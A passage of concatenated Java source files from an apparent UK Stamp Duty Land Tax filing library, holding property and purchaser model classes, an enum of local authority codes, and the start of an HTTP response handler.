@SdltXmlValue("SDLT3_PropertyAddressBuildingNo") protected String property; @SdltXmlValue("SDLT3_PropertyAddressPostcode") protected String postcode; @SdltXmlValue("SDLT3_PropertyAddress1") protected String address1; @SdltXmlValue("SDLT3_PropertyAddress2") protected String address2; @SdltXmlValue("SDLT3_PropertyAddress3") protected String address3; @SdltXmlValue("SDLT3_PropertyAddress4") protected String address4; @SdltXmlValue("SDLT3_PropertyUnitsHectareMetres") protected String unitsHectareMetres; @SdltXmlValue("SDLT3_PropertyAreaSize") protected String areaSize; @SdltXmlValue("SDLT3_PropertyMineratlRightsCode") protected String mineratlRights; @SdltXmlValue("SDLT3_PropertyPlanAttachedYesNo") protected boolean planAttached; @SdltXmlValue("SDLT3_InterestCreatedCode") protected InterestCreatedType interestCreated; @SdltXmlValue("SDLT3_InterestCreatedCodeDetailed") protected String interestedCreatedDetailed; public PropertyType getType() { return type; } public void setType(PropertyType type) { this.type = type; } public String getLocalAuthority() { return localAuthority; } public void setLocalAuthority(String localAuthority) { this.localAuthority = localAuthority; } public String getTitleNumber() { return titleNumber; } public void setTitleNumber(String titleNumber) { this.titleNumber = titleNumber; } public String getNlpgUprn() { return nlpgUprn; } public void setNlpgUprn(String nlpgUprn) { this.nlpgUprn = nlpgUprn; } public String getProperty() { return property; } public void setProperty(String property) { this.property = property; } public String getPostcode() { return postcode; } public void setPostcode(String postcode) { this.postcode = postcode; } public String getAddress1() { return address1; } public void setAddress1(String address1) { this.address1 = address1; } public String getAddress2() { return address2; } public void setAddress2(String address2) { this.address2 = address2; } public String getAddress3() { return address3; } public void setAddress3(String address3) { this.address3 = address3; } public String getAddress4() { return address4; } public void setAddress4(String address4) { this.address4 = address4; } public String getUnitsHectareMetres() { return unitsHectareMetres; } public void setUnitsHectareMetres(String unitsHectareMetres) { this.unitsHectareMetres = unitsHectareMetres; } public String getAreaSize() { return areaSize; } public void setAreaSize(String areaSize) { this.areaSize = areaSize; } public String getMineratlRights() { return mineratlRights; } public void setMineratlRights(String mineratlRights) { this.mineratlRights = mineratlRights; } public boolean isPlanAttached() { return planAttached; } public void setPlanAttached(boolean planAttached) { this.planAttached = planAttached; } public InterestCreatedType getInterestCreated() { return interestCreated; } public void setInterestCreated(InterestCreatedType interestCreated) { this.interestCreated = interestCreated; } public String getInterestedCreatedDetailed() { return interestedCreatedDetailed; } public void setInterestedCreatedDetailed(String interestedCreatedDetailed) { this.interestedCreatedDetailed = interestedCreatedDetailed; } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/LocalAuthority.java package com.redmonkeysoftware.sdlt.model; import static com.redmonkeysoftware.sdlt.model.LocalAuthorityCountry.ENGLAND; import static com.redmonkeysoftware.sdlt.model.LocalAuthorityCountry.SCOTLAND; import static com.redmonkeysoftware.sdlt.model.LocalAuthorityCountry.WALES; import org.apache.commons.lang3.StringUtils; public enum LocalAuthority implements BaseEnumType { LR_9051("9051", "Aberdeen, City - 9051", SCOTLAND), LR_9052("9052", "Aberdeenshire - 9052", SCOTLAND), LR_3805("3805", "Adur - 3805", ENGLAND), LR_0905("0905", "Allerdale - 0905", ENGLAND), LR_1005("1005", "Amber Valley - 1005", ENGLAND), LR_6805("6805", "Anglesey, Isle of - 6805", ENGLAND), LR_9053("9053", "Angus - 9053", SCOTLAND), LR_7005("7005", "Antrim - 7005", ENGLAND), LR_7010("7010", "Ards - 7010", ENGLAND), LR_9054("9054", "Argyll and Bute - 9054", SCOTLAND), LR_7015("7015", "Armagh - 7015", ENGLAND), LR_3810("3810", "Arun - 3810", ENGLAND), LR_3005("3005", "Ashfield - 3005", ENGLAND), LR_2205("2205", "Ashford - 2205", ENGLAND), LR_0405("0405", "Ayle<NAME> - 0405", ENGLAND), LR_3505("3505", "Babergh - 3505", ENGLAND), LR_7020("7020", "Ballymena - 7020", ENGLAND), LR_7025("7025", "Ballymoney - 7025", ENGLAND), LR_7030("7030", "Banbridge - 7030", ENGLAND), LR_5060("5060", "Barking and Dagenham - 5060", ENGLAND), LR_5090("5090", "Barnet - 5090", ENGLAND), LR_4405("4405", "Barnsley - 4405", ENGLAND), LR_0910("0910", "Barrow in Furness - 0910", ENGLAND), LR_1505("1505", "Basildon - 1505", ENGLAND), LR_1705("1705", "Basingstoke and Deane - 1705", ENGLAND), LR_3010("3010", "Bassetlaw - 3010", ENGLAND), LR_0114("0114", "Bath and North East Somerset - 0114", ENGLAND), LR_0205("0205", "Bedford - 0205", ENGLAND), LR_7035("7035", "Belfast - 7035", ENGLAND), LR_5120("5120", "Bexley - 5120", ENGLAND), LR_4605("4605", "Birmingham - 4605", ENGLAND), LR_2405("2405", "Blaby - 2405", ENGLAND), LR_2372("2372", "Blackburn with Darwen - 2372", ENGLAND), LR_2373("2373", "Blackpool - 2373", ENGLAND), LR_6910("6910", "<NAME> - 6910", WALES), LR_1010("1010", "Bolsover - 1010", ENGLAND), LR_4205("4205", "Bolton - 4205", ENGLAND), LR_9055("9055", "Borders, The - 9055", SCOTLAND), LR_2505("2505", "Boston - 2505", ENGLAND), LR_1250("1250", "Bournemouth - 1250", ENGLAND), LR_0335("0335", "Bracknell Forest - 0335", ENGLAND), LR_4705("4705", "Bradford - 4705", ENGLAND), LR_1510("1510", "Braintree - 1510", ENGLAND), LR_2605("2605", "Breckland - 2605", ENGLAND), LR_5150("5150", "Brent - 5150", ENGLAND), LR_1515("1515", "Brentwood - 1515", ENGLAND), LR_6915("6915", "Bridgend - 6915", WALES), LR_1445("1445", "Brighton and Hove - 1445", ENGLAND), LR_0116("0116", "Bristol - 0116", ENGLAND), LR_2610("2610", "Broadland - 2610", ENGLAND), LR_5180("5180", "Bromley - 5180", ENGLAND), LR_1805("1805", "Bromsgrove - 1805", ENGLAND), LR_1905("1905", "Broxbourne - 1905", ENGLAND), LR_3015("3015", "Broxtowe - 3015", ENGLAND), LR_2315("2315", "Burnley - 2315", ENGLAND), LR_4210("4210", "Bury - 4210", ENGLAND), LR_6920("6920", "Caerphilly - 6920", WALES), LR_4710("4710", "Calderdale - 4710", ENGLAND), LR_0505("0505", "Cambridge - 0505", ENGLAND), LR_5210("5210", "Camden - 5210", ENGLAND), LR_3405("3405", "<NAME> - 3405", ENGLAND), LR_2210("2210", "Canterbury - 2210", ENGLAND), LR_6815("6815", "Cardiff - 6815", WALES), LR_0915("0915", "Carlisle - 0915", ENGLAND), LR_6825("6825", "Carmarthenshire (Carmarthen) - 6825", WALES), LR_6828("6828", "Carmarthenshire (Dinefwr) - 6828", WALES), LR_6829("6829", "Carmarthenshire (Llanelli) - 6829", WALES), LR_7040("7040", "Carrickfergus - 7040", ENGLAND), LR_1520("1520", "Castle Point - 1520", ENGLAND), LR_7045("7045", "Castlereagh - 7045", ENGLAND), LR_0215("0215", "Central Bedfordshire - 0215", ENGLAND), LR_6820("6820", "Ceredigion - 6820", WALES), LR_2410("2410", "Charnwood - 2410", ENGLAND), LR_1525("1525", "Chelmsford - 1525", ENGLAND), LR_1605("1605", "Cheltenham - 1605", ENGLAND), LR_3105("3105", "Cherwell - 3105", ENGLAND), LR_0630("0630", "Cheshire East - 0630", ENGLAND), LR_0605("0605", "Chester - 0605", ENGLAND), LR_1015("1015", "Chesterfield - 1015", ENGLAND), LR_3815("3815", "Chichester - 3815", ENGLAND), LR_0415("0415", "Chiltern - 0415", ENGLAND), LR_2320("2320", "Chorley - 2320", ENGLAND), LR_1210("1210", "Christchurch - 1210", ENGLAND), LR_9064("9064", "City of Edinburgh - 9064", SCOTLAND), LR_9067("9067", "City of Glasgow - 9067", SCOTLAND), LR_2465("2465", "City of Leicester - 2465", ENGLAND), LR_5030("5030", "City of London - 5030", ENGLAND), LR_2741("2741", "City of York - 2741", ENGLAND), LR_9056("9056", "Clackmannan - 9056", SCOTLAND), LR_1530("1530", "Colchester - 1530", ENGLAND), LR_7050("7050", "Coleraine - 7050", ENGLAND), LR_6905("6905", "Conwy - 6905", WALES), LR_7055("7055", "Cookstown - 7055", ENGLAND), LR_0920("0920", "Copeland - 0920", ENGLAND), LR_2805("2805", "Corby - 2805", ENGLAND), LR_0810("0810", "Cornwall - 0810", ENGLAND), LR_1610("1610", "Cotswold - 1610", ENGLAND), LR_4610("4610", "Coventry - 4610", ENGLAND), LR_7060("7060", "Craigavon - 7060", ENGLAND), LR_2705("2705", "Craven - 2705", ENGLAND), LR_3820("3820", "Crawley - 3820", ENGLAND), LR_5240("5240", "Croydon - 5240", ENGLAND), LR_1910("1910", "Dacorum - 1910", ENGLAND), LR_1350("1350", "Darlington - 1350", ENGLAND), LR_2215("2215", "Dartford - 2215", ENGLAND), LR_2810("2810", "Daventry - 2810", ENGLAND), LR_6830("6830", "Denbighshire - 6830", WALES), LR_1055("1055", "Derby - 1055", ENGLAND), LR_1045("1045", "<NAME> - 1045", ENGLAND), LR_7095("7095", "Derry - 7095", ENGLAND), LR_4410("4410", "Doncaster - 4410", ENGLAND), LR_2220("2220", "Dover - 2220", ENGLAND), LR_7065("7065", "Down - 7065", ENGLAND), LR_4615("4615", "Dudley - 4615", ENGLAND), LR_9057("9057", "<NAME> - 9057", ENGLAND), LR_9058("9058", "<NAME> - 9058", SCOTLAND), LR_9059("9059", "Dundee - 9059", SCOTLAND), LR_7070("7070", "Dungannon - 7070", ENGLAND), LR_1320("1320", "Durham - 1320", ENGLAND), LR_5270("5270", "Ealing - 5270", ENGLAND), LR_9060("9060", "East Ayrshire - 9060", SCOTLAND), LR_0510("0510", "East Cambridgeshire - 0510", ENGLAND), LR_1105("1105", "East Devon - 1105", ENGLAND), LR_1240("1240", "East Dorset - 1240", ENGLAND), LR_9061("9061", "East Dunbartonshire - 9061", SCOTLAND), LR_1710("1710", "East Hampshire - 1710", ENGLAND), LR_1915("1915", "East Hertfordshire - 1915", ENGLAND), LR_2510("2510", "East Lindsey - 2510", ENGLAND), LR_9062("9062", "East Lothian - 9062", SCOTLAND), LR_2815("2815", "East Northamptonshire - 2815", ENGLAND), LR_9063("9063", "East Renfrewshire - 9063", SCOTLAND), LR_2001("2001", "East Riding of Yorkshire - 2001", ENGLAND), LR_3410("3410", "East Staffordshire - 3410", ENGLAND), LR_1410("1410", "Eastbourne - 1410", ENGLAND), LR_1715("1715", "Eastleigh - 1715", ENGLAND), LR_0925("0925", "Eden - 0925", ENGLAND), LR_9064_DUP("9064", "Edinburgh, City of, - 9064", SCOTLAND), LR_0620("0620", "Ellesmere Port and Neston - 0620", ENGLAND), LR_3605("3605", "Elmbridge - 3605", ENGLAND), LR_5300("5300", "Enfield - 5300", ENGLAND), LR_1535("1535", "Epping Forest - 1535", ENGLAND), LR_3610("3610", "Epsom and Ewell - 3610", ENGLAND), LR_1025("1025", "Erewash - 1025", ENGLAND), LR_1110("1110", "Exeter - 1110", ENGLAND), LR_9065("9065", "Falkirk - 9065", SCOTLAND), LR_1720("1720", "Fareham - 1720", ENGLAND), LR_0515("0515", "Fenland - 0515", ENGLAND), LR_7075("7075", "Fermanagh - 7075", ENGLAND), LR_9066("9066", "Fife - 9066", SCOTLAND), LR_6835("6835", "Flintshire - 6835", WALES), LR_3510("3510", "Forest Heath - 3510", ENGLAND), LR_1615("1615", "Forest of Dean - 1615", ENGLAND), LR_2325("2325", "Fylde - 2325", ENGLAND), LR_4505("4505", "Gateshead - 4505", ENGLAND), LR_3020("3020", "Gedling - 3020", ENGLAND), LR_9067_DUP("9067", "Glasgow, City of, - 9067", SCOTLAND), LR_1620("1620", "Gloucester - 1620", ENGLAND), LR_1725("1725", "Gosport - 1725", ENGLAND), LR_2230("2230", "Gravesham - 2230", ENGLAND), LR_2615("2615", "Great Yarmouth - 2615", ENGLAND), LR_5330("5330", "Greenwich - 5330", ENGLAND), LR_3615("3615", "Guildford - 3615", ENGLAND), LR_6810("6810", "Gwynedd - 6810", WALES), LR_5360("5360", "Hackney - 5360", ENGLAND), LR_0650("0650", "Halton - 0650", ENGLAND), LR_2710("2710", "Hambleton - 2710", ENGLAND), LR_5390("5390", "<NAME> - 5390", ENGLAND), LR_2415("2415", "Harborough - 2415", ENGLAND), LR_5420("5420", "Haringey - 5420", ENGLAND), LR_1540("1540", "Harlow - 1540", ENGLAND), LR_2715("2715", "Harrogate - 2715", ENGLAND), LR_5450("5450", "Harrow - 5450", ENGLAND), LR_1730("1730", "Hart - 1730", ENGLAND), LR_0724("0724", "Hartlepool - 0724", ENGLAND), LR_1415("1415", "Hastings - 1415", ENGLAND), LR_1735("1735", "Havant - 1735", ENGLAND), LR_5480("5480", "Havering - 5480", ENGLAND), LR_1850("1850", "Herefordshire - 1850", ENGLAND), LR_1920("1920", "Hertsmere - 1920", ENGLAND), LR_1030("1030", "High Peak - 1030", ENGLAND), LR_9068("9068", "Highland - 9068", SCOTLAND), LR_5510("5510", "Hillingdon - 5510", ENGLAND), LR_2420("2420", "<NAME> - 2420", ENGLAND), LR_3825("3825", "Horsham - 3825", ENGLAND), LR_5540("5540", "Hounslow - 5540", ENGLAND), LR_0520("0520", "Huntingdonshire - 0520", ENGLAND), LR_2330("2330", "Hyndburn - 2330", ENGLAND), LR_9069("9069", "Inverclyde - 9069", SCOTLAND), LR_3515("3515", "Ipswich - 3515", ENGLAND), LR_6805_DUP("6805", "Isle of Anglesey - 6805", WALES), LR_2100("2100", "Isle of Wight - 2100", ENGLAND), LR_0835("0835", "Isles of Scilly - 0835", ENGLAND), LR_5570("5570", "Islington - 5570", ENGLAND), LR_3905("3905", "Kennet - 3905", ENGLAND), LR_5600("5600", "Kensington and Chelsea - 5600", ENGLAND), LR_0815("0815", "Kerrier - 0815", ENGLAND), LR_2820("2820", "Kettering - 2820", ENGLAND), LR_2635("2635", "K<NAME> and West Norfolk - 2635", ENGLAND), LR_2004("2004", "Kingston-upon-Hull (City and county) - 2004", ENGLAND), LR_5630("5630", "Kingston-upon-Thames - 5630", ENGLAND), LR_4715("4715", "Kirklees - 4715", ENGLAND), LR_4305("4305", "Knowsley - 4305", ENGLAND), LR_5660("5660", "Lambeth - 5660", ENGLAND), LR_2335("2335", "Lancaster - 2335", ENGLAND), LR_7080("7080", "Larne - 7080", ENGLAND), LR_4720("4720", "Leeds - 4720", ENGLAND), LR_2465_DUP("2465", "Leicester, City of, - 2465", ENGLAND), LR_1425("1425", "Lewes - 1425", ENGLAND), LR_5690("5690", "Lewisham - 5690", ENGLAND), LR_3415("3415", "Lichfield - 3415", ENGLAND), LR_7085("7085", "Limavady - 7085", ENGLAND), LR_2515("2515", "Lincoln - 2515", ENGLAND), LR_7090("7090", "Lisburn - 7090", ENGLAND), LR_4310("4310", "Liverpool - 4310", ENGLAND), LR_5030_DUP("5030", "London, City of, - 5030", ENGLAND), LR_0230("0230", "Luton - 0230", ENGLAND), LR_7100("7100", "Magherafelt - 7100", ENGLAND), LR_2235("2235", "Maidstone - 2235", ENGLAND), LR_1545("1545", "Maldon - 1545", ENGLAND), LR_1860("1860", "<NAME> - 1860", ENGLAND), LR_4215("4215", "Manchester - 4215", ENGLAND), LR_3025("3025", "Mansfield - 3025", ENGLAND), LR_2280("2280", "Medway - 2280", ENGLAND), LR_2430("2430", "Melton - 2430", ENGLAND), LR_3305("3305", "Mendip - 3305", ENGLAND), LR_6925("6925", "<NAME> - 6925", WALES), LR_5720("5720", "Merton - 5720", ENGLAND), LR_3830("3830", "Mid Sussex - 3830", ENGLAND), LR_1135("1135", "Mid-Devon - 1135", ENGLAND), LR_3520("3520", "Mid-Suffolk - 3520", ENGLAND), LR_0734("0734", "Middlesbrough - 0734", ENGLAND), LR_9070("9070", "Midlothian - 9070", SCOTLAND), LR_0435("0435", "<NAME> - 0435", ENGLAND), LR_3620("3620", "Mole Valley - 3620", ENGLAND), LR_6840("6840", "Monmouthshire - 6840", WALES), LR_9071("9071", "Moray - 9071", SCOTLAND), LR_7110("7110", "Moyle - 7110", ENGLAND), LR_6930("6930", "Neath and Port Talbot - 6930", WALES), LR_1740("1740", "New Forest - 1740", ENGLAND), LR_3030("3030", "Newark and Sherwood - 3030", ENGLAND), LR_3420("3420", "Newcastle-under-Lyme - 3420", ENGLAND), LR_4510("4510", "Newcastle-upon-Tyne - 4510", ENGLAND), LR_5750("5750", "Newham - 5750", ENGLAND), LR_6935("6935", "Newport - 6935", WALES), LR_7105("7105", "Newry and Mourne - 7105", ENGLAND), LR_7115("7115", "Newtownabbey - 7115", ENGLAND), LR_9072("9072", "North Ayrshire - 9072", SCOTLAND), LR_1115("1115", "North Devon - 1115", ENGLAND), LR_1215("1215", "North Dorset - 1215", ENGLAND), LR_7120("7120", "North Down - 7120", ENGLAND), LR_1035("1035", "North East Derbyshire - 1035", ENGLAND), LR_2002("2002", "North East Lincolnshire - 2002", ENGLAND), LR_1925("1925", "North Hertfordshire - 1925", ENGLAND), LR_2520("2520", "North Kesteven - 2520", ENGLAND), LR_9073("9073", "North Lanarkshire - 9073", SCOTLAND), LR_2003("2003", "North Lincolnshire - 2003", ENGLAND), LR_2620("2620", "North Norfolk - 2620", ENGLAND), LR_0121("0121", "North Somerset - 0121", ENGLAND), LR_4515("4515", "North Tyneside - 4515", ENGLAND), LR_3705("3705", "North Warwickshire - 3705", ENGLAND), LR_2435("2435", "North West Leicestershire - 2435", ENGLAND), LR_2825("2825", "Northampton - 2825", ENGLAND), LR_2920("2920", "Northumberland - 2920", ENGLAND), LR_2625("2625", "Norwich - 2625", ENGLAND), LR_3060("3060", "Nottingham - 3060", ENGLAND), LR_3710("3710", "Nuneaton and Bedworth - 3710", ENGLAND), LR_2440("2440", "Oadby and Wigston - 2440", ENGLAND), LR_4220("4220", "Oldham - 4220", ENGLAND), LR_7125("7125", "Omagh - 7125", ENGLAND), LR_9000("9000", "Orkney Islands - 9000", SCOTLAND), LR_3110("3110", "Oxford - 3110", ENGLAND), LR_6845("6845", "Pembrokeshire - 6845", WALES), LR_2340("2340", "Pendle - 2340", ENGLAND), LR_9074("9074", "Perthshire and Kinross - 9074", SCOTLAND), LR_0540("0540", "Peterborough - 0540", ENGLAND), LR_1160("1160", "Plymouth - 1160", ENGLAND), LR_1255("1255", "Poole - 1255", ENGLAND), LR_1775("1775", "Portsmouth City Council - 1775", ENGLAND), LR_6854("6854", "Powys (Breconshire) - 6854", WALES), LR_6850("6850", "Powys (Montgomeryshire) - 6850", WALES), LR_6853("6853", "Powys (Radnorshire) - 6853", WALES), LR_2345("2345", "Preston - 2345", ENGLAND), LR_1225("1225", "Purbeck - 1225", ENGLAND), LR_0345("0345", "Reading - 0345", ENGLAND), LR_5780("5780", "Redbridge - 5780", ENGLAND), LR_0728("0728", "Redcar and Cleveland - 0728", ENGLAND), LR_1825("1825", "Redditch - 1825", ENGLAND), LR_3625("3625", "Reigate and Banstead - 3625", ENGLAND), LR_9075("9075", "Renfrewshire - 9075", SCOTLAND), LR_8998("8998", "Retrospective - 8998", ENGLAND), LR_6940("6940", "<NAME> - 6940", WALES), LR_2350("2350", "Ribble Valley - 2350", ENGLAND), LR_5810("5810", "Richmond-upon-Thames - 5810", ENGLAND), LR_2720("2720", "Richmondshire - 2720", ENGLAND), LR_4225("4225", "Rochdale - 4225", ENGLAND), LR_1550("1550", "Rochford - 1550", ENGLAND), LR_2355("2355", "Rossendale - 2355", ENGLAND), LR_1430("1430", "Rother - 1430", ENGLAND), LR_4415("4415", "Rotherham - 4415", ENGLAND), LR_3715("3715", "Rugby - 3715", ENGLAND), LR_3630("3630", "Runnymede - 3630", ENGLAND), LR_3040("3040", "Rushcliffe - 3040", ENGLAND), LR_1750("1750", "Rushmoor - 1750", ENGLAND), LR_2470("2470", "Rutland - 2470", ENGLAND), LR_2725("2725", "Ryedale - 2725", ENGLAND), LR_4230("4230", "Salford - 4230", ENGLAND), LR_4620("4620", "Sandwell - 4620", ENGLAND), LR_2730("2730", "Scarborough - 2730", ENGLAND), LR_0835_DUP("0835", "Scilly, Isles of - 0835", ENGLAND), LR_3310("3310", "Sedgemoor - 3310", ENGLAND), LR_4320("4320", "Sefton - 4320", ENGLAND), LR_2735("2735", "Selby - 2735", ENGLAND), LR_2245("2245", "Sevenoaks - 2245", ENGLAND), LR_4420("4420", "Sheffield - 4420", ENGLAND), LR_2250("2250", "Shepway - 2250", ENGLAND), LR_9010("9010", "Shetland Islands - 9010", SCOTLAND), LR_3220("3220", "Shropshire - 3220", ENGLAND), LR_0350("0350", "Slough - 0350", ENGLAND), LR_4625("4625", "Solihull - 4625", ENGLAND), LR_9076("9076", "South Ayrshire - 9076", SCOTLAND), LR_0410("0410", "South Bucks - 0410", ENGLAND), LR_0530("0530", "South Cambridgeshire - 0530", ENGLAND), LR_1040("1040", "South Derbyshire - 1040", ENGLAND), LR_0119("0119", "South Gloucestershire - 0119", ENGLAND), LR_1125("1125", "South Hams - 1125", ENGLAND), LR_2525("2525", "South Holland - 2525", ENGLAND), LR_2530("2530", "South Kesteven - 2530", ENGLAND), LR_0930("0930", "South Lakeland - 0930", ENGLAND), LR_9077("9077", "South Lanarkshire - 9077", SCOTLAND), LR_2630("2630", "South Norfolk - 2630", ENGLAND), LR_2830("2830", "South Northamptonshire - 2830", ENGLAND), LR_3115("3115", "South Oxfordshire - 3115", ENGLAND), LR_2360("2360", "South Ribble - 2360", ENGLAND), LR_3325("3325", "South Somerset - 3325", ENGLAND), LR_3430("3430", "South Staffordshire - 3430", ENGLAND), LR_4520("4520", "South Tyneside - 4520", ENGLAND), LR_1780("1780", "Southampton - 1780", ENGLAND), LR_1590("1590", "Southend-on-Sea - 1590", ENGLAND), LR_5840("5840", "Southwark - 5840", ENGLAND), LR_3635("3635", "Spelthorne - 3635", ENGLAND), LR_1930("1930", "St Albans - 1930", ENGLAND), LR_3525("3525", "St Edmundsbury - 3525", ENGLAND), LR_4315("4315", "St Helens - 4315", ENGLAND), LR_3425("3425", "Stafford - 3425", ENGLAND), LR_3435("3435", "Staffordshire Moorlands - 3435", ENGLAND), LR_1935("1935", "Stevenage - 1935", ENGLAND), LR_9078("9078", "Stirling - 9078", SCOTLAND), LR_4235("4235", "Stockport - 4235", ENGLAND), LR_0738("0738", "Stockton-on-Tees - 0738", ENGLAND), LR_3455("3455", "Stoke-on-Trent - 3455", ENGLAND), LR_7130("7130", "Strabane - 7130", ENGLAND), LR_3720("3720", "Stratford on Avon - 3720", ENGLAND), LR_1625("1625", "Stroud - 1625", ENGLAND), LR_3530("3530", "Suffolk Coastal - 3530", ENGLAND), LR_4525("4525", "Sunderland - 4525", ENGLAND), LR_3640("3640", "Surrey Heath - 3640", ENGLAND), LR_5870("5870", "Sutton - 5870", ENGLAND), LR_2255("2255", "Swale - 2255", ENGLAND), LR_6855("6855", "Swansea - 6855", WALES), LR_3935("3935", "Swindon - 3935", ENGLAND), LR_4240("4240", "Tameside - 4240", ENGLAND), LR_3445("3445", "Tamworth - 3445", ENGLAND), LR_3645("3645", "Tandridge - 3645", ENGLAND), LR_3315("3315", "Taunton Deane - 3315", ENGLAND), LR_1130("1130", "Teignbridge - 1130", ENGLAND), LR_3240("3240", "Telford and Wrekin - 3240", ENGLAND), LR_1560("1560", "Tendring - 1560", ENGLAND), LR_1760("1760", "Test Valley - 1760", ENGLAND), LR_1630("1630", "Tewkesbury - 1630", ENGLAND), LR_2260("2260", "Thanet - 2260", ENGLAND), LR_1940("1940", "Three Rivers - 1940", ENGLAND), LR_1595("1595", "Thurrock - 1595", ENGLAND), LR_2265("2265", "Tonbridge and Malling - 2265", ENGLAND), LR_1165("1165", "Torbay - 1165", ENGLAND), LR_6945("6945", "Torfaen - 6945", WALES), LR_1145("1145", "Torridge - 1145", ENGLAND), LR_5900("5900", "Tower Hamlets - 5900", ENGLAND), LR_4245("4245", "Trafford - 4245", ENGLAND), LR_8999("8999", "Transitional - 8999", ENGLAND), LR_2270("2270", "Tunbridge Wells - 2270", ENGLAND), LR_1570("1570", "Uttlesford - 1570", ENGLAND), LR_6950("6950", "Vale of Glamorgan - 6950", WALES), LR_3120("3120", "Vale of White Horse - 3120", ENGLAND), LR_0635("0635", "Vale Royal - 0635", ENGLAND), LR_4725("4725", "Wakefield - 4725", ENGLAND), LR_4630("4630", "Walsall - 4630", ENGLAND), LR_5930("5930", "Waltham Forest - 5930", ENGLAND), LR_5960("5960", "Wandsworth - 5960", ENGLAND), LR_0655("0655", "Warrington - 0655", ENGLAND), LR_3725("3725", "Warwick - 3725", ENGLAND), LR_1945("1945", "Watford - 1945", ENGLAND), LR_3535("3535", "Waveney - 3535", ENGLAND), LR_3650("3650", "Waverley - 3650", ENGLAND), LR_1435("1435", "Wealden - 1435", ENGLAND), LR_2835("2835", "Wellingborough - 2835", ENGLAND), LR_1950("1950", "<NAME> - 1950", ENGLAND), LR_0340("0340", "West Berkshire - 0340", ENGLAND), LR_1150("1150", "West Devon - 1150", ENGLAND), LR_1230("1230", "West Dorset - 1230", ENGLAND), LR_2365("2365", "West Lancashire - 2365", ENGLAND), LR_2535("2535", "West Lindsey - 2535", ENGLAND), LR_9079("9079", "West Lothian - 9079", SCOTLAND), LR_3125("3125", "West Oxfordshire - 3125", ENGLAND), LR_3320("3320", "West Somerset - 3320", ENGLAND), LR_9020("9020", "Western Isles - 9020", SCOTLAND), LR_5990("5990", "Westminster City - 5990", ENGLAND), LR_1235("1235", "Weymouth and Portland - 1235", ENGLAND), LR_4250("4250", "Wigan - 4250", ENGLAND), LR_3915("3915", "Wiltshire - 3915", ENGLAND), LR_1765("1765", "Winchester - 1765", ENGLAND), LR_0355("0355", "Windsor and Maidenhead - 0355", ENGLAND), LR_4325("4325", "Wirral - 4325", ENGLAND), LR_3655("3655", "Woking - 3655", ENGLAND), LR_0360("0360", "Wokingham - 0360", ENGLAND), LR_4635("4635", "Wolverhampton - 4635", ENGLAND), LR_1835("1835", "Worcester - 1835", ENGLAND), LR_3835("3835", "Worthing - 3835", ENGLAND), LR_6955("6955", "Wrexham - 6955", WALES), LR_1840("1840", "Wychavon - 1840", ENGLAND), LR_0425("0425", "Wycombe - 0425", ENGLAND), LR_2370("2370", "Wyre - 2370", ENGLAND), LR_1845("1845", "Wyre Forest - 1845", ENGLAND), LR_2741_DUP("2741", "York, City of - 2741", ENGLAND); private final String code; private final String description; private final LocalAuthorityCountry country; private LocalAuthority(final String code, final String description, final LocalAuthorityCountry country) { this.code = code; this.description = description; this.country = country; } @Override public String getCode() { return code; } @Override public String getDescription() { return description; } public LocalAuthorityCountry getCountry() { return country; } @Override public String toString() { return code; } public static LocalAuthority fromCode(final String code) { for (LocalAuthority ict : values()) { if (StringUtils.equalsIgnoreCase(ict.getCode(), code)) { return ict; } } return null; } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/Sdlt2.java package com.redmonkeysoftware.sdlt.model; import java.io.Serializable; public class Sdlt2 implements Serializable { private static final long serialVersionUID = 9034711286976521480L; @SdltXmlValue("SDLT2_AdditionalVendorOrPuchaser") protected AdditionalVendorPurchaserType additionalVendorOrPurchaser; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserTitle") protected String title; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserSurname") protected String surname; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserFirstName1") protected String firstName; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserFirstName2") protected String secondName; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserAddressPostcode") protected String postcode; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserAddressBuildingNo") protected String property; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserAddress1") protected String address1; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserAddress2") protected String address2; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserAddress3") protected String address3; @SdltXmlValue("SDLT2_AdditionalVendorPurchaserAddress4") protected String address4; @SdltXmlValue("SDLT2_PurchaserVendorConnectedYesNo") protected Boolean connected; @SdltXmlValue("SDLT2_AdditionalPurchaserActingAsTrusteeYesNo") protected Boolean actingAsTrustee; public AdditionalVendorPurchaserType getAdditionalVendorOrPurchaser() { return additionalVendorOrPurchaser; } public void setAdditionalVendorOrPurchaser(AdditionalVendorPurchaserType additionalVendorOrPurchaser) { this.additionalVendorOrPurchaser = additionalVendorOrPurchaser; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getSurname() { return surname; } public void setSurname(String surname) { this.surname = surname; } public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getSecondName() { return secondName; } public void setSecondName(String secondName) { this.secondName = secondName; } public String getPostcode() { return postcode; } public void setPostcode(String postcode) { this.postcode = postcode; } public String getProperty() { return property; } public void setProperty(String property) { this.property = property; } public String getAddress1() { return address1; } public void setAddress1(String address1) { this.address1 = address1; } public String getAddress2() { return address2; } public void setAddress2(String address2) { this.address2 = address2; } public String getAddress3() { return address3; } public void setAddress3(String address3) { this.address3 = address3; } public String getAddress4() { return address4; } public void setAddress4(String address4) { this.address4 = address4; } public boolean isConnected() { return connected; } public void setConnected(Boolean connected) { this.connected = connected; } public boolean isActingAsTrustee() { return actingAsTrustee; } public void setActingAsTrustee(Boolean actingAsTrustee) { this.actingAsTrustee = actingAsTrustee; } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/service/handler/SDLTResponseHandler.java package com.redmonkeysoftware.sdlt.service.handler; import com.redmonkeysoftware.sdlt.model.SdltXmlHelper; import com.redmonkeysoftware.sdlt.model.response.SDLTResponse; import java.io.IOException; import java.nio.charset.Charset; import java.util.logging.Level; import java.util.logging.Logger; import javax.xml.bind.JAXBException; import org.apache.commons.io.IOUtils; import org.apache.http.HttpResponse; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.ResponseHandler; import org.apache.http.entity.ContentType; import org.apache.http.util.EntityUtils; public class SDLTResponseHandler<T> implements ResponseHandler<T> { private static final Logger LOGGER = 